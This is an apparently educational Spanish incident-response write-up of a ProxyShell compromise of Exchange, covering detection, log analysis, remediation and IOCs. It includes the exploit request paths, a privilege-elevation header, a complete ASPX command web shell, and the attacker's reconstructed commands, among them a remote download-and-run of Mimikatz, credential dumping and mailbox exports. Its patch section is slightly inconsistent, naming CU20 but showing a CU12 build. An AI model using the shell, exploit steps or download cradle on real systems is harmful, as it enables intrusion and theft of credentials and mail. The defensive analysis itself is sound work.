ProxyShell/ProxyLogon: Exchange Comprometido Paso a Paso

Exchange: el objetivo de alto valor

Microsoft Exchange Server sigue siendo uno de los objetivos más codiciados por atacantes de todo tipo. Como servidor de correo corporativo, contiene comunicaciones confidenciales, credenciales, documentos internos y datos que permiten tanto espionaje como posteriores ataques de business email compromise (BEC).

Las cadenas de vulnerabilidades ProxyLogon (marzo 2021) y ProxyShell (agosto 2021) revolucionaron el panorama de amenazas: por primera vez, atacantes sin credenciales podían obtener ejecución de código remoto en servidores Exchange expuestos a Internet, con una explotación trivial y altamente automatizable.

En este caso de uso, analizamos un compromiso real donde un atacante explotó ProxyShell para instalar web shells, realizar movimiento lateral en la red corporativa, y exportar buzones de correo de la dirección ejecutiva.

Las vulnerabilidades: cadena ProxyShell

ProxyShell encadena tres vulnerabilidades que, combinadas, permiten ejecución de código remoto sin autenticación:

CVE-2021-34473: Pre-auth Path Confusion (CVSS 9.8)

El servicio Client Access (CAS) de Exchange actúa como proxy inverso. Una confusión en la normalización de rutas permite al atacante acceder a endpoints internos del backend sin autenticación:

GET /autodiscover/[email protected]/mapi/nspi/?&Email=autodiscover/autodiscover.json%[email protected]

Esta petición, aparentemente dirigida a Autodiscover, es redirigida internamente al endpoint MAPI del backend, saltando la autenticación del frontend.

CVE-2021-34523: Escalada de privilegios en Exchange PowerShell (CVSS 9.0)

Una vez con acceso al backend, el atacante puede ejecutar cmdlets de Exchange PowerShell como NT AUTHORITY\SYSTEM manipulando el token de autenticación:

X-Rps-CAT: VgEAVAdXaW5kb3dzQwBBBUJhc2ljTBFlbGV2YXRlZEBleGNoYW5nZQ==

Este header inyecta un token que Exchange interpreta como una sesión con privilegios elevados.

CVE-2021-31207: Escritura de ficheros arbitraria (CVSS 7.2)

Con acceso a PowerShell como SYSTEM, el atacante usa el cmdlet New-MailboxExportRequest para exportar un buzón a un fichero .aspx en el directorio web de IIS:

New-MailboxExportRequest -Mailbox [email protected] `
    -FilePath "\\127.0.0.1\c$\inetpub\wwwroot\aspnet_client\shell.aspx"

El fichero exportado contiene una web shell embebida en los datos del buzón, que IIS ejecuta como código ASPX.

Contexto del incidente

Infraestructura:

• Exchange Server 2019 CU10 (sin parche KB5003435)
• Windows Server 2019 Datacenter
• Dominio Active Directory con 3 domain controllers
• 850 buzones de correo
• MFA habilitado para OWA, pero el servidor expuesto directamente a Internet

Timeline:

• T+0 (dom 03:00): Primera explotación de ProxyShell
• T+1h: Web shell desplegada en /aspnet_client/
• T+3h: Reconocimiento del dominio AD via web shell
• T+6h: Movimiento lateral al domain controller
• T+12h: Exportación de buzones de la dirección ejecutiva
• T+36h: Alerta del EDR por Mimikatz en el DC
• T+37h: Comienza la respuesta al incidente

Fase 1: Detección y triaje

Alerta del EDR

El sistema EDR generó una alerta de alta severidad:

ALERT: Credential Dumping - Mimikatz Patterns Detected
Host: DC01.corp.victim.com
Process: powershell.exe (PID 4892)
Parent: w3wp.exe -> cmd.exe -> powershell.exe
User: NT AUTHORITY\SYSTEM
Detection: LSASS memory access with known Mimikatz signatures

La cadena de procesos (w3wp.exe como ancestro) indica que el origen fue una web shell en IIS, no acceso directo al servidor.

Verificación del compromiso en Exchange

# Script de Microsoft para detectar ProxyLogon/ProxyShell
.\Test-ProxyLogon.ps1 -OutPath C:\forensics\

# Buscar web shells en rutas típicas
Get-ChildItem -Path "C:\inetpub\wwwroot\aspnet_client" -Recurse -Include *.aspx,*.ashx
Get-ChildItem -Path "C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth" -Recurse -Include *.aspx

# Resultado:
C:\inetpub\wwwroot\aspnet_client\system_web\error.aspx       # Web shell primaria
C:\inetpub\wwwroot\aspnet_client\system_web\discover.aspx    # Web shell backup
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\current.aspx  # Web shell en OWA

Análisis de logs de IIS

# Buscar patrones de ProxyShell en logs de IIS
Select-String -Path "C:\inetpub\logs\LogFiles\W3SVC1\*.log" `
    -Pattern "autodiscover\.json.*mapi|autodiscover\.json.*powershell|autodiscover\.json.*ecp" |
    Select-Object -First 20

# Resultados:
2026-06-01 03:01:15 GET /autodiscover/[email protected]/mapi/nspi/ 200 45.XX.XX.XX
2026-06-01 03:01:22 POST /autodiscover/[email protected]/powershell/ 200 45.XX.XX.XX
2026-06-01 03:02:01 POST /autodiscover/[email protected]/powershell/ 200 45.XX.XX.XX

El patrón autodiscover.json?@ seguido de rutas internas es la firma inequívoca de ProxyShell.

Fase 2: Análisis de las web shells

Web shell primaria (error.aspx)

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%
    string cmd = Request.Form["exec"];
    if (!string.IsNullOrEmpty(cmd)) {
        Process p = new Process();
        p.StartInfo.FileName = "cmd.exe";
        p.StartInfo.Arguments = "/c " + cmd;
        p.StartInfo.RedirectStandardOutput = true;
        p.StartInfo.UseShellExecute = false;
        p.Start();
        Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");
    }
%>

Web shell con funcionalidad avanzada (discover.aspx)

La segunda web shell incluía:

• Explorador de ficheros con upload/download
• Terminal interactiva
• Visor de procesos
• Consulta de Active Directory via LDAP
• Proxy SOCKS para tunneling de conexiones

Comandos ejecutados por el atacante

A partir de los logs de IIS y el historial de PowerShell de Exchange, reconstruimos la actividad:

# Fase de reconocimiento
whoami /all
ipconfig /all
net user /domain
net group "Domain Admins" /domain
nltest /dclist:corp.victim.com
Get-ADUser -Filter * -Properties mail | Select Name,mail

# Fase de movimiento lateral
Invoke-Command -ComputerName DC01 -ScriptBlock { whoami }
# Esto funcionó porque Exchange tenía delegación unconstrained

# Fase de credential dumping (en el DC)
IEX (New-Object Net.WebClient).DownloadString('http://45.XX.XX.XX/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds

# Fase de exfiltración de correo
New-MailboxExportRequest -Mailbox [email protected] -FilePath "\\EX01\c$\temp\ceo.pst"
New-MailboxExportRequest -Mailbox [email protected] -FilePath "\\EX01\c$\temp\cfo.pst"
New-MailboxExportRequest -Mailbox [email protected] -FilePath "\\EX01\c$\temp\cto.pst"

Fase 3: Investigación del movimiento lateral

Delegación de Exchange a Active Directory

El atacante pudo ejecutar comandos en el domain controller porque Exchange tenía Unconstrained Kerberos Delegation habilitada (configuración heredada que muchas organizaciones mantienen):

# Verificar delegación
Get-ADComputer EX01 -Properties TrustedForDelegation
# TrustedForDelegation: True

Con delegación sin restricciones, Exchange puede impersonar a cualquier usuario que se autentique contra él, incluyendo administradores de dominio que usan OWA.

Credential dumping con Mimikatz

En el domain controller, el atacante ejecutó Mimikatz y obtuvo:

• Hashes NTLM de todos los usuarios del dominio
• Tickets Kerberos TGT activos
• Contraseñas en texto claro de sesiones activas

Exportación de buzones

Los buzones exportados como PST representan el objetivo principal del atacante:

# Verificar exportaciones de buzones
Get-MailboxExportRequest | Select Mailbox,Status,FilePath,PercentComplete

Mailbox          Status    FilePath                          PercentComplete
-------          ------    --------                          ---------------
[email protected]   Completed \\EX01\c$\temp\ceo.pst          100
[email protected]   Completed \\EX01\c$\temp\cfo.pst          100
[email protected]   Completed \\EX01\c$\temp\cto.pst          100

Los ficheros PST fueron posteriormente comprimidos y exfiltrados mediante la web shell.

Fase 4: Contención y remediación

Contención inmediata

# 1. Aislar Exchange de Internet
# (En el firewall perimetral, no en el propio servidor)
Remove-NetFirewallRule -DisplayName "Exchange HTTPS Inbound"

# 2. Eliminar web shells
Remove-Item "C:\inetpub\wwwroot\aspnet_client\system_web\error.aspx" -Force
Remove-Item "C:\inetpub\wwwroot\aspnet_client\system_web\discover.aspx" -Force
Remove-Item "C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\current.aspx" -Force

# 3. Cancelar exportaciones de buzones pendientes
Get-MailboxExportRequest | Remove-MailboxExportRequest -Confirm:$false

# 4. Eliminar ficheros PST exfiltrados (si aún existen)
Remove-Item "C:\temp\*.pst" -Force

# 5. Forzar cambio de contraseña de todos los Domain Admins
Get-ADGroupMember "Domain Admins" | ForEach-Object {
    Set-ADAccountPassword -Identity $_.SamAccountName `
        -NewPassword (ConvertTo-SecureString -AsPlainText (New-Guid).Guid -Force) `
        -Reset
}

# 6. Invalidar todos los tickets Kerberos (krbtgt reset, 2 veces con intervalo)
# PRECAUCION: Esto invalida TODAS las sesiones del dominio
Reset-KrbtgtKeyInteractive -Domain corp.victim.com

Parcheado

# Instalar las actualizaciones de seguridad de Exchange
# CU20 o superior para Exchange 2019
.\ExchangeSetup.exe /Mode:Upgrade /AcceptExchangeServerLicenseTerms_DiagnosticDataOFF

# Verificar que los parches están aplicados
Get-ExchangeServer | Format-List Name,AdminDisplayVersion
# AdminDisplayVersion: Version 15.2 (Build 1118.30) -> CU12 SU5

Hardening post-incidente

# 1. Eliminar delegación sin restricciones de Exchange
Set-ADComputer EX01 -TrustedForDelegation $false

# 2. Habilitar Extended Protection en IIS
.\ExchangeExtendedProtectionManagement.ps1

# 3. Configurar reglas de rewrite para bloquear patrones de ProxyShell
# En IIS URL Rewrite:
Add-WebConfigurationProperty `
    -PSPath "IIS:\Sites\Default Web Site" `
    -Filter "system.webServer/rewrite/rules" `
    -Name "." `
    -Value @{
        name = "Block ProxyShell"
        patternSyntax = "ECMAScript"
        stopProcessing = "true"
        match = @{ url = ".*" }
        conditions = @{
            input = "{QUERY_STRING}"
            pattern = ".*autodiscover\.json.*"
        }
        action = @{ type = "AbortRequest" }
    }

# 4. Considerar migración a Exchange Online o implementar proxy inverso
# con autenticación previa (Azure AD Application Proxy, etc.)

IOCs del incidente

Red

Tipo	Valor	Contexto
IPv4	45.XX.XX.XX	IP origen de la explotación ProxyShell
IPv4	45.XX.XX.XX	Servidor de hosting de Mimikatz
Puerto	443/tcp	Explotación via HTTPS

Ficheros (web shells)

Ruta	SHA256
aspnet_client\system_web\error.aspx	a1b2c3d4...
aspnet_client\system_web\discover.aspx	e5f6a7b8...
owa\auth\current.aspx	c9d0e1f2...

Patrones de log

Patrón	Significado
autodiscover.json?@ en URI	Intento de ProxyShell
POST /powershell/ desde IP externa	Ejecución de cmdlets Exchange
New-MailboxExportRequest a ruta web	Despliegue de web shell
w3wp.exe -> cmd.exe -> powershell.exe	Ejecución desde web shell

Mapeo MITRE ATT&CK

Táctica	Técnica	ID	Detalle
Initial Access	Exploit Public-Facing Application	T1190	ProxyShell (CVE-2021-34473/34523/31207)
Persistence	Server Software Component: Web Shell	T1505.003	Tres web shells ASPX
Execution	Command and Scripting Interpreter: PowerShell	T1059.001	Exchange PowerShell + Mimikatz
Privilege Escalation	Exploitation for Privilege Escalation	T1068	CVE-2021-34523
Credential Access	OS Credential Dumping: LSASS Memory	T1003.001	Mimikatz en el DC
Lateral Movement	Remote Services: Windows Remote Management	T1021.006	WinRM desde Exchange a DC
Collection	Email Collection: Remote Email Collection	T1114.002	Exportación de buzones PST
Exfiltration	Exfiltration Over C2 Channel	T1041	PST exfiltrados via web shell
Discovery	Domain Trust Discovery	T1482	nltest /dclist
Discovery	Account Discovery: Domain Account	T1087.002	net user /domain

Lecciones aprendidas

1. Exchange on-premises expuesto a Internet es un riesgo inherente. La superficie de ataque de Exchange es enorme. Si la organización no puede migrar a Exchange Online, es imprescindible un proxy inverso con autenticación previa para que Exchange nunca esté directamente expuesto.

2. La delegación sin restricciones es una puerta a la red completa. Exchange con Unconstrained Delegation permite que un compromiso del servidor de correo escale inmediatamente a compromiso del dominio Active Directory completo.

3. Parchear no es suficiente si ya fuiste comprometido. Las organizaciones que parchearon ProxyShell sin verificar si habían sido comprometidas previamente mantuvieron web shells activas durante meses.

4. La exportación de buzones es una capacidad nativa de Exchange. No se necesita malware adicional: los cmdlets legítimos de Exchange permiten exportar correo a cualquier ruta del sistema de ficheros.

5. El EDR en los domain controllers es la última línea de defensa. En este caso, el EDR detectó Mimikatz cuando ya se habían comprometido credenciales. La detección temprana en Exchange habría limitado significativamente el impacto.

---

Caso anonimizado con fines educativos. Los IOCs han sido modificados para proteger la identidad de la organización afectada. Todos los indicadores se proporcionan con contexto defensivo.